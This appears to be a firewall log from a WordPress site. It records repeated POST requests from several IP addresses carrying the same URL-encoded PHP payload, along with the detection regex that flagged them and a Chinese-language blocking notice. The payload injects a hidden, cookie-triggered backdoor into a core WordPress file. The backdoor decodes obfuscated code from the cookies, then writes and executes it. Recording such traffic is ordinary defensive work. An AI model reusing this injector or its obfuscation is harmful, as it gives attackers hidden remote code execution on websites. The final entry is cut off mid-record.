["2026-05-12 16:39:40","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/global-styles-and-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B80%252B-80%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-7%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79-75%255D%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520function%2520splitter_tool%2528%2524element%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252779155b5c%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ptr%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524item%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524item%252C%2520%2524fac%2529%253B%2520fclose%2528%2524item%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522splitter_tool%2522%2529%253B%2520%2524ref%2520%253D%2520%25226338a8fe470fec7ca0c1b6d24aef1d8e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ref%252C%2520%2524ptr%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_right_pad_string%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoUHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4290\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nupgrade-insecure-requests:1\n\nlu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/global-styles-and-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B80%252B-80%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-7%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79-75%255D%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520function%2520splitter_tool%2528%2524element%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252779155b5c%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ptr%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524item%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524item%252C%2520%2524fac%2529%253B%2520fclose%2528%2524item%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522splitter_tool%2522%2529%253B%2520%2524ref%2520%253D%2520%25226338a8fe470fec7ca0c1b6d24aef1d8e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ref%252C%2520%2524ptr%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_right_pad_string%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:39:40","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","60秒以内累计超过6次以上非法请求,封锁180秒","POST \/ HTTP\/1.1\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoUHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4290\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nupgrade-insecure-requests:1\n\nlu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/global-styles-and-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B80%252B-80%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-7%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79-75%255D%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520function%2520splitter_tool%2528%2524element%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252779155b5c%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ptr%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524item%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524item%252C%2520%2524fac%2529%253B%2520fclose%2528%2524item%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522splitter_tool%2522%2529%253B%2520%2524ref%2520%253D%2520%25226338a8fe470fec7ca0c1b6d24aef1d8e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ref%252C%2520%2524ptr%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_right_pad_string%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:40:00","171.244.34.150","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/global-styles-and-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B80%252B-80%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-7%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79-75%255D%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520function%2520splitter_tool%2528%2524element%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252779155b5c%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ptr%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524item%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524item%252C%2520%2524fac%2529%253B%2520fclose%2528%2524item%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522splitter_tool%2522%2529%253B%2520%2524ref%2520%253D%2520%25226338a8fe470fec7ca0c1b6d24aef1d8e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ref%252C%2520%2524ptr%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_right_pad_string%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMypvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4290\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nupgrade-insecure-requests:1\n\nfW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/global-styles-and-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B80%252B-80%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-7%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79-75%255D%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520function%2520splitter_tool%2528%2524element%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252779155b5c%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ptr%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524item%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524item%252C%2520%2524fac%2529%253B%2520fclose%2528%2524item%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522splitter_tool%2522%2529%253B%2520%2524ref%2520%253D%2520%25226338a8fe470fec7ca0c1b6d24aef1d8e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ref%252C%2520%2524ptr%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_right_pad_string%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:40:13","160.187.68.132","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Jr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/global-styles-and-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B80%252B-80%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-7%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79-75%255D%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520function%2520splitter_tool%2528%2524element%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252779155b5c%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ptr%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524item%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524item%252C%2520%2524fac%2529%253B%2520fclose%2528%2524item%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522splitter_tool%2522%2529%253B%2520%2524ref%2520%253D%2520%25226338a8fe470fec7ca0c1b6d24aef1d8e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ref%252C%2520%2524ptr%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_right_pad_string%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 